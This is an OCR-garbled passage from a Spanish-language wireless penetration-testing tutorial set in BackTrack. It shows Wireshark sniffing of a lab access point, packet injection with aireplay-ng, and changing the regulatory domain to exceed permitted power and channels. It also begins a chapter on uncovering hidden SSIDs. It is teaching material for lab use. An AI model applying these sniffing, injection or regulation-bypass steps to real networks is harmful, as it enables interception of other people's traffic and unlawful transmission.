b Frame 27 (98 bytes on wire, 98 bytes captured)
b Radiotap Header vo, Length 32

v IEEE 802.11 QoS Data, Flags: ....R.F.C
Type/Subtype: QoS Data (©x28)

Frame Control: OxoAS8 (Normal)

Duration: 320

Destination address: HonHaiPr_40:00:al (00:1d:d9:40:00:a1)
BSS Id: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
Source address: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
Fragment number: ©
Sequence number: 18
b Frame check sequence: o0x437ffoc3 [correct]
b AnS Cantral
oo0e 00 00 20 00 2f 48 00 00 72 Of 91 02 Ol 00 00 00
0010 10 0z 9e 09 a0 00 dz 01 00 OO0 00 0O 0O 0O 0O 00
0020 28 0a 40 01 00 1d d9 46 ©0 al 00 21 91 d2 8e 25
0030 00 21 91 d2 82 25 20 01 Q0 00 aa aa 02 00 00 00 [P

[ 1[e

[«

mono: <live capture in progress> Fi... [ Packets: 12057 Displayed: 4367 Marked: 0 {profile: Default

6. Para ver los paquetes de datos para nuestro punto de acceso, afiada lo siguiente al filtro
(wlan.bssid == 00:21:91:d2:8e:25) && (wlan.fc.type_subtype == 0x20). Abra su navegador en la
computadora portatil del cliente y escriba la direcciéon URL de la interfaz de gestion del punto de
acceso . En mi caso como hemos visto en el capitulo 1 es http://192.168.0.1. Esto va a generar
paquetes de datos que Wireshark podra capturar.



- Wireshark

Fle Edit View Go Capture Analyze Statistics Help

SBedod =2@xXes cerwTFIEB QAR GEEL B

MEl\tar: ” (wlan.bssid == 00:21:91:d2:82:25) && (wlan.fc. j 4 Expression...

No. . ‘T\me ‘ Source ‘ Destination ‘ Protocol |Infu —
11117 275.077250 0.0.0.0 255.255.255.255 DHCP DHCP Request - Transaction ID 0x1429a863
11281 275.990568 IntelCor_3s: Broadcast ARP who has 192.168.1.17 Tell 192.168.1.6 —
11465 277.109561 IntelCor_35: Broadcast ARP who has 192.168.1.67 Tell 0.0.0.0
11466 277.110855 IntelCor 35 Broadcast ARP who has 192.168.1.17 Tell 192.168.1.6
11583 278.089530 IntelCor_35: Broadcast ARP who has 192.168.1.17 Tell 192.168.1.6
11584 278.242451 192.168.1.6 192.168.1.255 NBNS Registration NB VIVEK-PC<00>
11731 278.932562 192.168.1.6 192.168.1.255 NBNS Registration MB VIVEK-PC<00>
11765 279.329017 IntelCor_35:fc:44 Broadcast ARP Who has 192.168.1.17 Tell 182.168.1.6
11777 279.685309 192.168.1.6 192.168.1.255 NBNS Registration NB VIVEK-PC<Q0=
11870 280 124440 102 1AR 1 A 107 1AR 1 958 NRNS Name misry NR TGATAP=0N= S

e —— 4
b Frame 12700 (96 bytes on wire, 96 bytes captured)
b Radiotap Header vO, Length 32
v IEEE 802.11 Data, Flags: ...
Type/Subtype: Data (0x20)
Frame Control: 0x0208 (Normal)
Versieon: @
Type: Data frame (2)
Subtype: 0
b Flags: 0x2
Duration: © iy
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
BSS Id: D-Link_d2:8e:25 (00:21:91:d2:8e:25)
Source address: IntelCor_35:fc:44 (00:22:fb:35:fc:44)

oolFslE

4

0000 00 00 20 00 2f 48 00 0O 72 06 d9 54 00 00 00 00 . /H.
0010 10 02 92 09 a0 00 d1 01 00 00 G0 Q0 00 00 00 00
0020 08 02 00 00 ff ff ff ff ff ff 00 21 o1 d2 8e 25
0030 00 22 fb 35 fc 44 40 4c  aa aa 03 00 00 00 08 06

(i

SLS.DEL e
mon0: <live capture in progress> Fi... J Packets; 48979 Displayed: 40 Marked: 0 [ Profile: Default

7. Como puede ver, la deteccion de paquetes nos permite analizar los paquetes de datos sin encriptar
muy facilmente. Esta es la razon por la cual tenemos que utilizar la encriptacién inaldmbrica.

¢0ué ha pasado?

Acabamos de capturar paquetes de datos inaldmbricos con Wireshark utilizando diversos filtros. Como el punto
de acceso no esta utilizando ningun tipo de cifrado, podemos ver todos los datos en texto plano. Este es un
problema de seguridad importante ya que cualquiera dentro del alcance de RF del punto de acceso puede ver
todos los paquetes si se utiliza un sniffer como Wireshark.

Inténtalo - Analizar los paguetes de dato

Utilice Wireshark para analizar los paquetes de datos adicionales. Usted notara que una solicitud de DHCP es
realizada por el cliente y si hay un servidor DHCP disponible se responde con una direccidn. A continuacién usted
encontrard paquetes ARP y otros paquetes de protocolo inaldmbricos. Esta es una manera agradable y sencilla de
hacer el descubrimiento de sistemas pasivos en la red inaldmbrica. Es importante ser capaz de ver un rastro de
paquetes y reconstruir como las aplicaciones en el host inaldmbrico se comunica con el resto de la red. Una de las
caracteristicas mas interesantes que Wireshark ofrece es "Seguir una secuencia" (Stream). Esto le permite ver
varios paquetes juntos, que forman parte de un intercambio TCP en la misma conexion.



Ademas, trate de iniciar sesion en gmail.com o cualquier otro popular sitio web y analizar el trafico de datos
generado.

Ahora vamos a ver una demostracion de cémo inyectar paquetes en una red inaldmbrica.

Parte practica-Inyeccion de paguete

Nosotros vamos a usar la herramienta aireplay-ng, que estd disponible en BackTrack para este ejercicio. Siga
cuidadosamente estas instrucciones:

1. Con el fin de realizar una prueba de inyeccién, primero inicia Wireshark y escribe la expresién de
filtro (wlan.bssid== 00:21:91: d2: 8e: 25) && !(wlan.fc.type_subtype == 0x08). Esto asegurara de que
sélo vemos paquetes non-beacon de nuestra red de laboratorio.

2. Ahora ejecuta el siguiente comando aireplay-ng -9 -e Wireless Lab -a
00:21:91:d2:8e:25 monO en un terminal:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# aireplay-ng -9 -e "Wireless Lab" -a 00:21:91:d2:8e:25 mon®
Waiting for beacon frame (BSSID: 00:21:91:D2:8E:25) on channel 11
Trying broadcast probe requests...

Injection is working!

Found 1 AP

Trying directed probe requests...

00:21:91:D2:8E:25 - channel: 1 - 'Wireless Lab*

Ping (min/avg/max): 2.400ms/20.042ms/81.616ms Power: -47.13
30/30: 100%

—#

3. Vuelva a Wireshark y usted deberia ver un montén de paquetes en pantalla ahora. Algunos de estos
paquetes han sido enviados por aireplay-ng, que pusimos en marcha y otros del Laboratorio de punto
de acceso inaldambrico en respuesta a los paquetes inyectados:

mono: Capturing - Wireshark

File Edit Wiew Go Capture Analyze Statistics Help

Badedv sEXcE aerwFEEHB QAR @EE% &

Ef\\ter“}l:dz:ae:zs) && ! (wlan.fc.type_subtype == 0x08) ¥ | & Expression...| & Clear Q'J'7ﬂpp\y|

No. . ‘T\me ‘SUUrCE |Desmatmn ‘Prutu:u\ Info =
2013 58.123849  00:b3:b2:af:a6:11 D-Link_d2: TEEE 802 Null function (Mo data), SN=446, FN=0, Flags=....... 5
2914 58.124407 00:b3:b2:af:a6:11 D-Link_dz IEEE 802 Authentication, SN=6, FN=0, Flags=.

IEEE 802 Null function (No data), SN=446, Fh:
1EEE 802 Authentication, SN=6, FN=0, Flags=.
IEEE 802 Probe Response, SN=2770, FN=0, Flag:

2917 58.123870 00:b3:b2:af:a6:11 D-Link_dz
2018 58.124415  00:b3:b2:af:as:ill D-Link_dz
2919 58.147007 D-Link_d2:8e:25 00:b3:b:

2022 58.149937  D-Link_d2:8e:25 00:b3:b2: IEEE 802 Deauthentication, SN=2771, FN=0,
2025 58.152106  D-Link_d2:8e:25 00:b3:b2: IEEE 202 Authentication, SN=2772, FN=0,

2926 58.152989  D-Link_d2:8e:25 00:b3:b2: IEEE 802 Authentication, SN=2772, FN=0,

2027 58.153808  D-Link_d2:8e:25 00:b3:b2: IEEE 802 Authentication, SN=2772, FN=0,

2028 58.154550  D-Link_d2:8e:25 00:b2:b2:af: IEEE 202 Authentication, SN=2772, FN=0,

2929 58.155552  D-Link_d2:8e:25 00:b3:b2:af:a6:11 IEEE 802 Authentication, SN=2772, FN=0, =

[
b Frame 2863 (369 bytes on wire, 369 bytes captured) =
b Radiotap Header vO, Length 32
~ IEEE 802.11 Probe Response, Flags: ........ B

Type/Subtype: Probe Response (0x05)
= Frame Control: 0x0050 (Normal)
version: 0
Type: Management frame (@)
Subtype: 5
b Flags: ox0
Duration: O
Destination address: 00:87:e5:3a:0b:f8 (00:87:e5:3a:0b:f8)
Source address: D-Link d2:8e:25 (00:21:91:d2:8e:25)
o000 60 00 20 60 2f 48 00 00 25 b8 fa 37 61 00 00 00
0010 10 02 Se 069 a0 00 cf 01 0O 00 OO 06 60 00 GO 60
0020 50 00 00 60 00 87 eS 3a Ob f8 00 21 91 d2 8e 25
0030 00 21 S1 d2 8e 25 40 ac 61 d5 fd Se 02 00 00 QO

mon0: <live capture in progress> Packets: 10363 Displayed: 546 Marked: 0 [profile: Default
E— —

(iE
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Acabamos de inyectar con éxito paquetes en nuestra red de pruebas de laboratorio con aireplay-ng. Es
importante sefialar que nuestra tarjeta inyecta estos paquetes arbitrarios en la red sin tener que estar conectado
al Laboratorio de punto de acceso inaldmbrico.

Inténtalo-Instalacion de BackTrack en Virtual Bo

Vamos a ver la inyeccion de paquetes con mayor detalle en capitulos posteriores, sin embargo, siéntase libre de
explorar otras opciones de la herramienta aireplay-ng para inyectar paquetes. Usted puede verificar que la
inyeccion se logré mediante el uso de Wireshark para monitorear las redes.

Nota importante sobre WLAN inhalacidn y la inyeccion

WLAN suelen operar dentro de los tres rangos de frecuencia diferentes, 2,4 GHz, 3,6, y 4.9/5.0Ghz. No todas las
tarjetas Wi-Fi soportan estos rangos y bandas asociadas. Como por ejemplo, la tarjeta Alfa que estamos
utilizando solo es compatible con IEE 802.11b/g. Esto significaria que esta tarjeta no puede operar en 802.11a/n.
El punto clave aqui es que al capturar o inyectar paquetes en una banda en particular su tarjeta Wi-Fi tendra que
tener el correspondiente soporte.

Otro aspecto interesante de la tecnologia Wi-Fi es que en cada una de estas bandas, hay multiples canales. Es
importante tener en cuenta que su tarjeta Wi-Fi solo puede estar en un canal en un momento dado. No es
posible sintonizar varios canales al mismo tiempo. La analogia con la que se puede comparar es la radio del
coche. Se puede sintonizar a uno solo de los canales disponibles en un momento dado cada vez. Si quieres
escuchar algo diferente tendras que cambiar el canal de la radio. El mismo principio se aplica a la auditoria WLAN.
Esto nos lleva a una importante conclusion: que no se pueden capturar todos los canales al mismo tiempo,
tenemos que seleccionar el canal que mas nos interese a nosotros. Lo que esto significa es que si nuestro punto
de interés esta en el canal 1, tenemos que poner nuestra tarjeta en el canal 1.

A pesar de que nos hemos ocupado de la captura WLAN en los parrafos anteriores, lo mismo se aplica a la
inyeccion. Para inyectar paquetes en un canal especifico, tendra que poner la tarjeta en la frecuencia del canal.

Ahora vamos a hacer algunos ejercicios sobre la configuracidn de nuestra tarjeta en canales especificos, saltando
de canal, ajustandonos a la regulacion del dominio, los niveles de potencia y asi sucesivamente.

Parte practica- Experimentando con tu tarjeta inalambrica

Siga atentamente las instrucciones:

1. Introduzca el comando iwconfig wlan0 para comprobar la capacidad de la tarjeta. Como se puede
ver en la siguiente captura de pantalla, la tarjeta de Alfa puede funcionar en las bandas b y g:

n  Edit View Bookmarks Settings Help

:~# iwconfig wlan@
wilano ESSID:off/any
Mode : Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off




2 Sélo para fines de demostracién, al conectar otra tarjeta a un D-Link DWA-125, vemos que es capaz
de operar en las de bandas b, g y n:

[SlGE] root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig wlan@
wlano ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm
Retry 1long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on

~#
~#

3. Para configurar la tarjeta en un canal en particular se utiliza el comando iwconfig mon0 channel X

nE root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

:~# iwconfig mon® channel 11
~#
:~# iwconfig mon@
mon® IEEE 802.1lbg Mode:Monitor Frequency:2.462 GHz Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:off

~#
#

|l

4. La serie de comandos iwconfig no tiene un modo de salto de canal. Se podria escribir un script
sencillo para hacer que funcione de forma mas facil usando airodump-ng con la opcién de salto de
canales ya sea de manera arbitraria o solo un subconjunto o solo algunos grupos. Todas estas
opciones se muestran en la siguiente captura de pantalla que son el resultado de ejecutar airodump-
ng help:

root@bt: ~ - Shell - Konsole

n Edit View Bookmarks Settings Help

-h : Hides known stations for --showack
-f <msecs> : Time in ms between hopping channels
--berlin <secs> : Time before removing the AP/client

from the screen when no more packets
are received (Default: 120 seconds)
-r <file> : Read packets from that file
-X <msecs> : Active Scanning Simulation
--output-format
<formats> : Output format. Possible values:
pcap, ivs, csv, gps, kismet, netxml

Filter options:
--encrypt <suite> : Filter APs by cipher suite
--netmask <netmask> : Filter APs by mask
--bssid <bssid> : Filter APs by BSSID
-a : Filter unassociated clients

By default, airodump-ng hop on 2.4GHz channels.
You can make it capture on other/specific channel(s) by using:
--channel <channels>: Capture on specific channels
and <abg> : Band on which airodump-ng should hop
-C <frequencies> : Uses these frequencies in MHz to hop
--cswitch <method> : Set channel switching method
FIFO (default)

: Round Robin
: Hop on last
same as --cswitch

: Displays this usage screen




Entendimos que tanto la captura inaldmbrica como la inyeccién de paquetes dependera de la compatibilidad de
hardware disponible. Esto significa que sélo pueden operar en las bandas y canales permitidos por nuestra
tarjeta. Ademas, la tarjeta inalambrica de radio sélo puede estar en un canal a la vez. Esto ademas significa que
s6lo podemos inhalar o inyectar en un canal a la vez.

Inténtalo-Captura en miiltiples canales|

Si a usted le gusta oler de forma simultanea en multiples canales, requerira multiples tarjetas fisicas Wi-Fi. Si
usted puede conseguir tarjetas adicionales, entonces usted puede intentar para capturar en varios canales al
mismo tiempo.

La complejidad de la tecnologia Wi-Fi no termina aqui. Cada pais tiene su propia politica de asignacién de
espectro. Esto determina especificamente los niveles permitidos de energia y permite a usar el espectro. En los
EE.UU., por ejemplo, la FCC decide y si usted utiliza las redes WLAN en los EE.UU. tiene que cumplir con estas
regulaciones. En algunos paises, no hacerlo es un delito penal.

Ahora echemos un vistazo a cémo podemos encontrar la configuracion por defecto de reglamentacion y luego la
manera de cambiarlo si es necesario.

Parte practica- Experimentando con su tarjeta de red
Realice los siguientes pasos:
1. Reinicie su ordenador y no conectes la tarjeta Alfa todavia.

2. Una vez conectado, monitoriza los mensajes del kernel con el comando tail:

root@bt: ~ - Shell - Konsole

Session Edit View Bookmarks Settings Help

:~# tail -f -n 0 /var/log/messages

3. Inserte la tarjeta Alfa, deberia ver algo que se asemeja a la siguiente captura de pantalla. Esta es la
configuracién por defecto de regulacidn aplicada a la tarjeta:

root@bt: ~ - Shell - Konsole

bn Edit View Bookmarks Settings Help

:~# tail -f -n 0 /var/log/messages

Jun 21 19:35:01 bt kernel: usb 1-2: new full speed USB device using ohci_hcd and address 3
Jun 21 19:35:02 bt kernel: cfg80211: Calling CRDA to update world regulatory domain
Jun 21 19:35:02 bt kernel: cfg80211: World regulatory domain updated:

Jun 21 19:35:02 bt kernel: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)

Jun 21 19:35:02 bt kernel: (2402000 KHz - 2472000 KHz @ 40000 KHz), (360 mBi, 2000 mBm)

Jun 21 19:35:02 bt kernel: (2457000 KHz - 2482000 KHz @ 20000 KHz), (360 mBi, 2000 mBm)

Jun 21 19:35:02 bt kernel: (2474000 KHz - 2494000 KHz @ 20000 KHz), (360 mBi, 2000 mBm)

Jun 21 19:35:02 bt kernel: (5170000 KHz - 5250000 KHz @ 40000 KHz), (360 mBi, 2000 mBm)

Jun 21 19:35:02 bt kernel: (5735000 KHz - 5835000 KHz @ 40000 KHz), (360 mBi, 2000 mBm)

Jun 21 19:35:05 bt kernel: phy0: hwaddr 00:c@:ca:3e:bd:93, RTL8187vB (default) V1 + rtl8225z2, rfkill
mask 2

Jun 21 19:35:06 bt kernel: rtl8187: Customer ID is OxFF
Jun 21 19:35:06 bt kernel: rtl8187: wireless switch is on 1




4. Supongamos que estamos en los EE.UU. Para cambiar el dominio regulador tenemos el comando iw
reg set US en la consola

- Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# iw reg set US

~#
~#
5. Si el comando es correcto, se obtiene una salida como se muestra (en la siguiente captura de
pantalla) en el terminal donde estamos monitoreando /var/log/messages:

Jun 21 19:36:04 bt kernel: cfg80211: Calling CRDA for country: US
Jun 21 19:36:04 bt kernel: cfg80211: Regulatory domain changed to country: US

Jun 21 19:36:04 bt kernel: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp)
Jun 21 19:36:04 bt kernel: (2402000 KHz - 2472000 KHz @ 40000 KHz), (360 mBi, 2700 mBm)
Jun 21 19:36:04 bt kernel: (5170000 KHz - 5250000 KHz @ 40000 KHz), (360 mBi, 1700 mBm)
Jun 21 19:36:04 bt kernel: (5250000 KHz - 5330000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
Jun 21 19:36:04 bt kernel: (5490000 KHz - 5710000 KHz @ 40000 KHz), (300 mBi, 2000 mBm)
iun 21 19:36:04 bt kernel: (5735000 KHz - 5835000 KHz @ 40000 KHz), (360 mBi, 3000 mBm)

6. Ahora intenta cambiar la tarjeta al canal 11 y va a funcionar. Pero cuando se trate de cambiar la
canal 12, se produce un error. Esto se debe a que el canal 12 no esta permitido para usar en los
EE.UU.:

root@bt: ~ - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# iwconfig wlan® channel 11
#

#

:~# iwconfig wlan@

wlano IEEE 802.11bg ESSID:off/any

Mode:Managed Frequency:2.462 GHz Access Point: Not-Associated
Tx-Power=27 dBm

Retry long limit:7 RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

:~# iwconfig wlan@ channel 12
Error for wireless request "Set Frequency" (8B04) :
SET failed on device wlan@ ; Invalid argument.

:~# iwconfig wlan@
wlano IEEE 802.11bg ESSID:off/any
Mode:Managed Frequency:2.462 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

—~# 1

7. Lo mismo se aplica para los niveles de potencia. Los EE.UU. sélo permite un maximo de 27dBm (500
mW), asi que a pesar de que la tarjeta de Alfa cuenta con una potencia anunciada de 1 vatio (30 dBm),
no se puede configurar la tarjeta al maximo la potencia de transmision:

Session Edit View Bookmarks Settings Help

~# iwconfig wlan® txpower 27

#
-#
:~# iwconfig wlan@ txpower 30
Error for wireless request "Set Tx Power" (8B26) :
SET failed on device wlan® ; Invalid argument.
~#




8. Sin embargo, si estuviéramos en Bolivia, entonces podriamos transmitir a una potencia de 1 vatio,
ya que esto estd permitido. Como podemos ver, una vez establecido el dominio regulador
Bolivia -iw reg set BO, podemos cambiar la potencia de la tarjeta para 30DMB o 1 Watt. También
puede utilizar el canal 12 en Bolivia, que fue rechazado en los EE.UU.:

root@bt: — - Shell No. 2 - Konsole

Session Edit View Bookmarks Settings Help

:~# iw reg set BO

iwconfig wlan0@ txpower 30

iwconfig wlan0 channel 12

:~# iwconfig wlan®@
wlan@ IEEE 802.11bg ESSID:off/any
Mode:Managed Frequency:2.467 GHz Access Point: Not-Associated
Tx-Power=30 dBm
Retry 1long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

e

—#

¢0ué ha pasado?

Cada pais tiene sus propias regulaciones para el uso de la banda inaldmbrica. Cuando abrimos el dominio
regulador de un pais especifico, nuestra tarjeta va a obedecer a los canales permitidos y los niveles de potencia
especificada. Sin embargo, es facil cambiar el dominio regulador de la tarjeta y obligarla a trabajar en los canales
no permitidos para transmitir a mas de potencia de la permitida.

Inténtalo-Explorando los dominios regulatorios

Mira los diferentes parametros que se pueden establecer como canal, la potencia, dominios de reglamentacion,
y asi sucesivamente. Utilizando la serie de comandos iw en BackTrack. Esto debe darle un firme entendimiento de
como configurar su tarjeta cuando usted se encuentra en diferentes paises y necesite cambiar la configuracion
de la tarjeta.

1. ¢Qué tipos de trama es responsable de la autenticacion en redes inalambricas?
a. Control
b. Gestién
c.Datos
d. QoS

2. ¢Cuadl es el nombre de la interfaz del segundo modo monitor que se pueden crear en wlan0 con
airmon-ng?



a.Mon0

b.Mon1l

c.1Mon

d.Monb

3. ¢Cuadl es la expresion de filtro para ver todas las tramas non-beacon en Wireshark?

a.! (wlan.fc.type_subtype == 0x08)

b. wlan.fc.type_subtype == 0x08

c. (no beacon)

d. Wlan.fc.type == 0x08

En este capitulo, hemos hecho algunas observaciones importantes sobre los protocolos de WLAN:

Los marcos de gestion, de control y de datos no estan cifrados y por lo tanto pueden ser facilmente leidos por
alguien que esta vigilando las conexiones inalambricas. Es importante sefialar aqui que la carga del paquete de
datos puede ser protegida mediante el cifrado de mantenerla confidencial. Vamos a hablar de esto en el proximo
capitulo.

Podemos rastrear todo el espacio aéreo de nuestro entorno, poniendo nuestra tarjeta en modo monitor.

Ya que no hay proteccidn de la integridad en la gestidn y los marcos de control, es muy féacil inyectar estos
paquetes modificandolos o volver re-enviarlos con el uso de herramientas como aireplay-ng.

Sin encriptar los paquetes de datos también se pueden modificar y reproducir de nuevo a la red. Si el paquete
estd cifrado, podemos repetir el paquete tal como esta ya que WLAN por su disefio no tiene la proteccién de
paquetes de repeticion.

En el siguiente capitulo, vamos a ver diferentes mecanismos de autenticacion que se utilizan en redes
inalambricas, tales como filtrado de direcciones MAC, autenticacion compartida y asi sucesivamente y entender
las diversas fallas de seguridad en ellos a través de demostraciones en vivo.



WLAN
(Bypassing WLAN Authentication)

~ "Una falsa sensacion de seguridad es peor que estar inseguro." -
Andnimo
Una falsa sensacion de seguridad es peor que estar inseguro, ya que podria no
estar preparado para enfrentar la eventualidad de ser hackeado.
2 =

Las WLAN tienen esquemas de autenticacidn débiles, que pueden romperse facilmente y ser anuladas. En este
capitulo, vamos a ver los esquemas de autenticacion utilizado en varias redes WLAN y aprender a superarlos.

En este capitulo, vamos a ver lo siguiente:

. Descubrir SSID oculto
. Vencer filtros MAC
. Omision de autenticacion abierta

. Omision de autenticacion de clave compartida

SSID oculto

En el modo de configuracion por defecto, todos los puntos de acceso envian sus SSID en las tramas de Beacon.
Esto permite a los clientes en los alrededores para descubrir con facilidad. SSID oculto es una configuracion en el
punto de acceso para que no emita su SSID en las tramas guia (beacon frames). Por lo tanto, sélo los clientes que
conocen el SSID del punto de acceso puedan conectarse a él.



Desafortunadamente, esta medida no proporciona una seguridad robusta, pero la mayoria de los
administradores de red lo hacen. Ahora vamos a buscar la forma de descubrir los SSID ocultos.

Parte practica-Descuhriendo SSIDS oculto

Siga estas instrucciones para comenzar:

1. Usando Wireshark, si hacemos un seguimiento de los marcos guia (beacon frames) de la red
Wireless lab, somo capaces de ver el SSID en texto plano. Usted debe ver tramas de sefializacién,
como se muestra en la siguiente pantalla:

hark

mon0: Capturing

EBle Edt View Go Capture Analyze Statistics Help

BEeN EEXTE A ¢swT L BE Qcal g¥m% B

[@eiter: [flan. addr — 00:21:91:d2:80:25 v | 4 Expression...| & clear| < apply|
No. . Time Source Destination Protocol info Im
0.090009 D § B 802 Beacon frame 8I=100 aless Lab” fu
20.060971  D-Link_o2: Broadcast IEEE B2 Beacon frame, BI=160, SSID="Wireless Lab"
30.188981  D-Link_d2 Broadcast [EEE 802 Beacon frame, 81-100, SSID="Wireless Lab"
4 0.265811 D-Link_d2 Broadcast 1EEE B0O2 Beacon frame, BI=100, SSID="Wireless Lab"
50.382718  D-Link_d2 Broadcast IEEE B2 Beacon frame, BI=100, SSID="Wireless Lab"
70.468781  D-Link_d2 Broadcast IEEE 802 Beacon frame, 81-100, SSID="Wireless Lab"
90.574691  D-Link_d2: Broadcast IEEE 802 Beacon frame, B81=100, SSID="Wireless Lab"
100.691762  D-Link_d2 Broadcast IEEE B2 Beacon frame, BI=160, SSID="Wireless Lab"
110.777055  D-Link_d2 Broadcast IEEE 802 Beacon frame, BI=100, SSID="Wireless Lab"
120.904841  D-Link_d2 Broadcast [EEE 802 Beacon frame, B1=100, SSID="Wireless Lab"
141.082922  D-Link_02 Broadcast IEEE 802 Beacon frame, SN=2410, BI=100, SSID="Wireless Lab"
151.199050  D-Link_d2:8e: Broadcast IEEE 802 Beacon frame, SN=2411, B1-160, SSID="Wireless Lab"
16 1.315085  D-Link_d2:8e: 12, BI=100, SSID="Wireless Lab" |

Broadcast IEEE 802 Beacon frame, S

> Frame 1 (251 bytes on wire, 251 bytes captured) 1
» Radiotap Header v@, Length 32
» IEEE 802.11 Beacon frame, Flags: ........ c
= 1EEE 802.11 wireless LAN management frame
b Fixed parameters (12 bytes)
~ Tagged parameters (179 bytes)
© SSID parameter set: "Wireless Lab"
Tag Number: O (SSID parameter set)
Tag length: 12
Tag interpretation: Wireless Lab
= Supported Rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B)
Tag Number: 1 (Supported Rates)
Tag length: 4
Tag interpretation: Supported rates: 1.0(B) 2.0(B) 5.5(B) 11.0(B) [Mbit/sec]
<~ DS Parameter set: Current Channel: 11

060 00 00 20 00 2f 48 00 80 Of 8d 12 77 01 00 60 60 .. ./H..
010 10 02 9e 09 a@ 6@ fb 01 00 00 0O 00 60 60 60 60 . .
020 B0 G0 00 00 ff ff ff ff ff ff 00 21 91 d2 Be 25 . e
03000 21 91 d2? Be 25 f0 G5 8O el ab R4 03 60 00 60 1% &l

Mon0; <Ive Capture in progress> Fi... | Packets: 626 Displayed: 274 Marked: 0 [Profie: Default
— — —

2. Configure el punto de acceso como SSID oculto para la red inalambrica de laboratorio. La opciéon de
configuracion real para hacer esto puede variar segun los puntos de acceso. En mi caso, tengo que
marcar la opcion Invisible en la opcidn visibilty status, como se muestra a continuacién:
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Helpful Hints...

E Use this section to configure the wireless settings for your D-Link Router. Please note that ;gi”ﬂ'ﬁ;ﬁ' ‘s".':é
changes made on this section may also need to be duplicated on your Wireless Client.

require an authentication server. The WPA-Enterprise option requires an external RADIUS server.

Security Mode :  None

[[save Settings | [ Don'tsave Settings | SEEEs
personal information
WIRELESS NETWORK SETTINGS i Auto Channel Scan
th
N lect the best possible
Enable Wireless : (7] ajways + | AddNew annel for your wireless
ork to operate on.
Wireless Network Name : \ireless Lab (Also called the SSID)
Enabling Hidden Mode is
802.11 Mode : Mixed 802.11n, 802.11g and 802.11b ~ slerndsbiniet bl
Enable Auto Channel Scan : [ | 3
Wireless Channel :  2.962GHz -CH 11 e 10
Transmission Rate : Best (automatic) ~  (Mbit/s) wi n
what
Channel Width : 20 MHz - el
£ "= = to your router, you
Visibility Status : ) Visble @ Invisible e e iRy ctes the
reless Network Name on
WIRELESS SECURITY MODE
To protect your privacy you can configure wireless security features. This device supports three te down th
wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original sph
wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not <.

WIRELESS




3. Ahora bien, si nos fijamos en el trazado de Wireshark, usted encontrara que el SSID de Wireless
Lab ha desaparecido de los beacon frames. Esto es lo que trata el SSID oculto:

Ele Ede Vew Go Capture Anabze Statistics tielp

BWOeAN EEXPa A +2w T2 DE QAN WUE S 8

() tter: [ilan. addr == Go121:91:d2 | 4 Exprossion...| &k clear| o aooy|

No.. |Teme Ssurce Destination protocel | info e
60.279571  D- Broadcast 1EEE 802 Beacon frame, SN=1103, FN=0, Flags=.. SS10-Broadcast
960.378376 D Brosdcast IEEE 802 Boscon frome, SN . SSID=Broadcast
110.483206 D Broadcast IEEE 802 Beacon froae, SSID=Broadcast
130.58145¢ D Broadcast LEEE 802 Beacon frame, SS1D-Broadcast
150.685168 D Brosdcast IEEE 892 Boaccn frame, SSID=Broadcast
189.788321 D Broadcast IEEE 802 Beacon froae, SSID=Broodcast
210.887379  D- Broadcast 1EEE 802 Beacon frame, SS10=Broadcast
24 0.954475 4] Broadcast 1EEE 802 Beacon frame, SS1D=Broadcast
27 1.693457 D Broadcast 1EEE 802 Beacon fraae, SSID=Broadcast
311.19a809 - Broadcast IEEE 802 Beacon frame, SS10-Broadcast
341.296837 D ~ 25 Broadcast IEEE 802 Beacon frome, SSID=Broadcast
35 1.413898 D-Link_a2:80:25 Brosdcast 1EEE 802 Beacon freae, SSID=Brosdcast

Frame &4 (239 bytes on wire, 239 bytes captured)
Radiotep Header v8, Length 32

g

s

> TEEE 862.11 Beacon frase, Flags: ........ C

- 1EEE 802.1) wireless LAN menagenent frose g

* Fixed paraneters (12 bytes)

~ Tagged paraseters (167 bytes)

~ 551D parameter set: Broadcast

Tag Number: 0 (SSID parameter set)
Tag length: 8

~ Supported Rates: 1.9(B) 2.0(B) 5.5(B)
Tag Nusber: 1 (Supported Rates)
Tag length: &
Tag interpretation: Supported rates: 1.0(8) 2.0(8) 5.5(8) 11.6(8) [Mbit/sec]
~ S Parameter set: Current Channel: 11

/G005 00 00 20 00 27 46 00 00 24 b 52 35 01 00 00 00
010 10 92 9e €9 a0 09 f7 ©1 ©0 ©9 90 GO 08 00 00 80
3 00 00 00 ff ff ff f1 ff 11 06 21 91 c2 Be 25
21 Q1 a2 fie 2% of 44 AA R1 3h &6 A3

3 ™

——

4. Con el fin de saltarnoslo ( bypass), en primer lugar vamos a utilizar la técnica pasiva de esperar a
que un cliente legitimo se conecte al punto de acceso. Esto va a generar una sonda de solicitud (Probe
Request) y los paquetes de respuesta de la sonda (Probe Response) que contendra el SSID de la red, lo

mon0; Capturing - Wireshark

Bl Edt Yiew Go Copture Anahy7e Statatcs Hep

Sepoe EEXed c¢»«wF2EE QAR @¥EE B

(¥ it [¥Tan-addr == Go:1b:42:05:0:01 v| 4 pprossion..| & closr| o aop|
No.. Jrime [souce [oestnation [protocor Jinto E
- ey -
54085 2338.343951 60: fb:42:d5:¢4:01  Broadcast 1EEE 802 Prove Hum,z, SN=2065, FN=0, Flagse. ,.C, SSID="Wireless Leb"

